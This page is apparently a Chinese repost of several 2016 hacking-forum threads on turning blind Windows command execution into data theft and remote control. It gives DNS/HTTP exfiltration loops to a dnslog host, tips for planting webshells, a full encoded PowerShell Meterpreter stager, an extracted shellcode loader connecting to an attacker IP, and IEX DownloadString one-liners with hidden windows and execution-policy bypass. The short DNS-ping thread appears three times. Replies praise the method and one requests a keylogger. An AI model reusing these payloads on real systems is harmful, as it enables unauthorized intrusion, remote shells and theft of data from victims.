20160630整理到cloudeye攻击的一些姿势

来源:互联网 发布:广州中名软件 编辑:程序博客网 时间:2024/06/05 07:42

使用Powershell反弹Meterpreter Shell

cloudeye在windows下的应用




cloudeye在windows下的应用

L3m0n  | 2016-06-25 20:37

今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。 
看到有人问过。http://zone.wooyun.org/content/27440 

其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。 

windows下面其实用命令也可以实现,不过还是有很多问题。 

比如win下获取当前用户: 
whoami 

l3m0n3115\l3m0n 
获取计算机名: 
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: 
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

dns.png

获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。 
其实核心的还是利用了for /f 

如果有更好玩的姿势,求来分享一下哇。

感谢(0)
分享到:0
3 个回复
  1. 1#null_z  | 2016-06-25 20:57

    不错啊!正好遇到一个没啥好法子

  2. 2#L3m0n  | 2016-06-25 22:07

    很尴尬,被基友告知这个已经被大牛们玩坏啦。http://zone.wooyun.org/content/27814

  3. 3#ADVERT  | 2016-06-27 01:00

    @L3m0n 看大牛的文章后找cloudeye的一些资料然后就找到了这里。。




cloudeye在windows下的应用

L3m0n  | 2016-06-25 20:37

今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。 
看到有人问过。http://zone.wooyun.org/content/27440 

其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。 

windows下面其实用命令也可以实现,不过还是有很多问题。 

比如win下获取当前用户: 
whoami 

l3m0n3115\l3m0n 
获取计算机名: 
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: 
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

dns.png

获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。 
其实核心的还是利用了for /f 

如果有更好玩的姿势,求来分享一下哇。

感谢(0)
分享到:0
3 个回复
  1. 1#null_z  | 2016-06-25 20:57

    不错啊!正好遇到一个没啥好法子

  2. 2#L3m0n  | 2016-06-25 22:07

    很尴尬,被基友告知这个已经被大牛们玩坏啦。http://zone.wooyun.org/content/27814

  3. 3#ADVERT  | 2016-06-27 01:00

    @L3m0n 看大牛的文章后找cloudeye的一些资料然后就找到了这里。。


撸站时难免会遇到一些比较特殊的情况,遇到一个可以执行命令的点(Windows,可连外网),却无法获得回显;这种情况下我通常会用这几种方法去尝试: 
1、使用CloudEye获取命令执行的结果 
2、找Web路径写WebShell 
3、下载一个MSF的Payload直接反弹 
某些情况下目标直接对公网开放3389,直接加个账户用完再删... 

先说第一种方法,使用CloudEye获取回显结果: 
for /F %x in ('whoami') do start http://cmd.xxxxx.dnslog.info/[%x].jpg
执行这条命令,会调用默认的浏览器去打开后面的地址,我们可以获取到whoami的命令执行结果。 
0.jpg 
这里有一点比较坑的情况是如果结果中一行有空格,那这一行空格后面的结果会丢掉。 
比如我执行Dir D:\这条命令的结果就变成了这样: 
for /F %x in ('dir D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
2.jpg 
好在dir有/b参数可以解决这个问题: 
for /F %x in ('dir /b D:\') do start http://cmd.xxxxxx.dnslog.info/[%x].jpg
这样就能大致完成遍历目录的工作(目录或文件名有空格也会截断结果) 
3.jpg 

第二种方法:找Web路径: 
您要是愿意一个目录一个目录去翻,或是找配置文件来定位Web路径,我也没有意见;但我经常用且行之有效的方法是找一个web目录中文件名字比较特殊一点的文件,然后搜索: 
for /F %x in ('dir /s/a-d/b E:\*PopMessage.jsp') do echo 111222>%x.jsp
这样会在E盘中每一个包含PopMessage.jsp的目录中再写一个PopMessage.jsp.jsp,文件内容是111222;待一定时间后命令执行完成,试着去访问生成的这个文件看结果;成功了再写一个一句话又何尝不可,别忘了删除您写的垃圾文件。 
同样,您也可以将搜索的路径结果通过CloudEye返回,自己判断哪些有可能是Web目录然后再写文件。 

第三种方法:下载MSF的Payload 
请参见:http://drops.wooyun.org/tips/2420 
我经常用的有3种下载方法:FTP、Powershell、bitsadmin,因为在不能确定目标有没有安装杀软的情况下这3种方法是最行之有效的。 

若是目标有Powershell的话,那么会有一种更为简单的方法来获得Meterpreter Shell: 
Veil FrameWork已经给我们提供了足够的资源:https://github.com/Veil-Framework/Veil-Evasion/tree/master/modules/payloads/powershell/meterpreter 

我使用reverse_tcp的Payload来做测试,若是使用Veil先用对应的Payload,则会生成一个bat文件: 
@echo off 
if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtNAEH33V4wsS7UV23JuUFJV6k2FShCqpoKHKA/OZtosXe9au+Mkbsm/M24doFVBiKdj786cc+aygYBDOPK96ZlSF0VpLIX+HVqNqt9LF0r50QzKaq6kAEc5MeCG+B4uNF2ShS/SUpWrY6WMCNuzdQyV1ASbFusW76OD/9Y5tZgTXi8ZFjudquVdxfBLuf36Tbs9adT9I49s/RA4LnqM6+Tz/BsKgkntCIt0jJROjLhDci1COH3l7nixsOjceV5IVc9GIxZAywFrY+9ieC3jCa/rEjl8QlxE8XrgpTVkhFFt6LUoIy9w6anRmo2Ge93uftrdH6S9ftodDPdieDfsvY3gO5iKEl0pdQBBycVNj63NG29PfbvQ3FQtMPTnNaEfwyDiwA0HMvkVCpQrDIPyBdE932deUP8D3/REEptcoeVWNMYNN6XfY844izrDRq2eZrOGcHNy7q2XUiGErJAo+ntyBA+Nk85zq3Uc3HeGcb8X/7nd5yq/dUw3Nhoj2Ho3xrKkPOyyGcnCCIPmq9NhCXYXyMbeju6FpfdIJ1ypC6e8VDN28iHXC4URZyXd2dYLiHN5L5JmcJAUWMzRnuGN1JKk0RAISMZ5geB/lbrf8yHR/OfKXCA8npxXWjSRDpIyd46WtmomdBjQaPTsjWVxUKcfUd/SMs42/SzLGAZZ5O2cX1WaZIHp41aacoJ2JQW69FNu3TJXzQxNWTcthIwH9/Q6ZmGwSXd9j6IYforw/tFu7O3zY8U42MQNZM9XZkK5pWSiEEtIJiiMXsD+m0GWbUVOYvmw/QE=\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")


为了将其简化,从其中提取Powershell代码: 
$c = @" 
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); 
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); 
"@ 
try{ 
    $s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) 
    $s.Connect('123.222.123.125', 9527) | out-null; 
$p = [Array]::CreateInstance("byte", 4); 
$x = $s.Receive($p) | out-null; 
$z = 0 
    $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); 
$y[0] = 0xBF 
    while ($z -lt [BitConverter]::ToInt32($p,0)) 

    $z += $s.Receive($y,$z+5,32,[System.Net.Sockets.SocketFlags]::None) 

    for ($i=1; $i -le 4; $i++) 

    $y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1] 

    $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; 
$x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) 
    [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) 
    $t::CreateThread(0,0,$x,0,0,0) | out-null; 
Start-Sleep -Second 86400 

catch{}


注意上面设置反弹IP和端口的地方: 
$s.Connect('反弹IP', 端口)

我把这些代码写成了一个可以远程调用的方法(rev.ps1): 
function rev { 
$c = @" 
    [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); 
    [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); 
"@ 
    try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) 
    $s.Connect('122.211.111.222', 9527) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 
    $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF 
    while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } 
    for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} 
    $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) 
    [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) 
    $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{} 
}


通过远程调用,就不需要往目标服务器上上传文件了: 
Metasploit payload/windows/meterpreter/reverse_tcp监听9527端口: 
x64执行: 
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

X86执行: 
powershell -nop -W Hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://111.222.123.215/rev.ps1');rev"

成功获得Meterpreter Shell: 
1.jpg 

使用此方法要注意的是目标服务器可以连接外网,且带有Powershell。使用 
powershell set-executionpolicy remotesigned 

C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe  set-executionpolicy remotesigned

允许Powershell的脚本执行权限。

感谢(1)
分享到:0
20 个回复
  1. 1#小杰哥 (能学则学,技多不压身。)  | 2016-06-13 16:58

    不错,赞一个

  2. 2#cf_hb (10000定律<=>实践ing)  | 2016-06-13 17:09

    收藏

  3. 3#纷纭 (:-))  | 2016-06-13 17:21

    66666666

  4. 4#sqlfeng (头一天,来到,鬼呀么鬼门关呐~)  | 2016-06-13 18:38

    红老师都是精品

  5. 5#❤ (慢慢的我,习惯了这种生活.)  | 2016-06-13 19:31

  6. 6#Rubick  | 2016-06-13 21:42

    powershell set-executionpolicy remotesigned  need system, if not have ?how to

  7. 7#mickey (mickey&pt007@vip.sina.com)  | 2016-06-13 22:28

    好TIPS。赞分享

  8. 8#Cyrils (')(')  | 2016-06-14 00:16

    nice

  9. 9#Vinc (Q-Q-眼-W-R|Q-Q-闪现-R)  | 2016-06-14 08:13

    mark

  10. 10#niexinming (///' " onblur="alert(1))  | 2016-06-14 13:46

    我一直想得到的姿势,红老师教给我了,真开心

  11. 11#Woodisgood!  | 2016-06-15 21:52

    win7测试powers hell会崩掉。。

  12. 12#小胖子 (z7y首席代言人,园长的表哥...)  | 2016-06-15 22:38

    感谢红老师一个,不成敬意。

  13. 13#saber (终极屌丝之路~)  | 2016-06-17 09:44

    红老师666

  14. 14#un10ad (///)  | 2016-06-17 20:02

    红老师 求个Powershell的键盘记录... 跪求

  15. 15#乌云首席鉴黄师  | 2016-06-23 17:27

    终于找到污妖王了

  16. 16#Rainism  | 2016-06-26 16:40

    学习

  17. 17#pyphrb (fuck寂寞的瘦子)  | 2016-06-26 20:57

    666

  18. 18#ADVERT  | 2016-06-27 00:31

    厉害啊,屌!

  19. 19#LZP  | 2016-06-28 00:09

    @Rubick 加上这句话就行 -ep bypass

  20. 20#
    回复此人 感谢
    浮缠  | 2016-06-28 04:32

    不错,赞一个  学习了


cloudeye在windows下的应用

L3m0n  | 2016-06-25 20:37

今天突发奇想的一个姿势,算不上什么技巧,分享一下吧。 
看到有人问过。http://zone.wooyun.org/content/27440 

其实很羡慕linxu的curl `whoami`.xxxxxx.dnslog.info
这样去获取数据什么的。 

windows下面其实用命令也可以实现,不过还是有很多问题。 

比如win下获取当前用户: 
whoami 

l3m0n3115\l3m0n 
获取计算机名: 
for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名: 
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info

dns.png

获取文件内容什么的也可以这样获取,比如再for通过循环一下,但是编码问题是硬伤。 
其实核心的还是利用了for /f 

如果有更好玩的姿势,求来分享一下哇。

感谢(0)
分享到:0
3 个回复
  1. 1#null_z  | 2016-06-25 20:57

    不错啊!正好遇到一个没啥好法子

  2. 2#L3m0n  | 2016-06-25 22:07

    很尴尬,被基友告知这个已经被大牛们玩坏啦。http://zone.wooyun.org/content/27814

  3. 3#ADVERT  | 2016-06-27 01:00

    @L3m0n 看大牛的文章后找cloudeye的一些资料然后就找到了这里。。

0 0
原创粉丝点击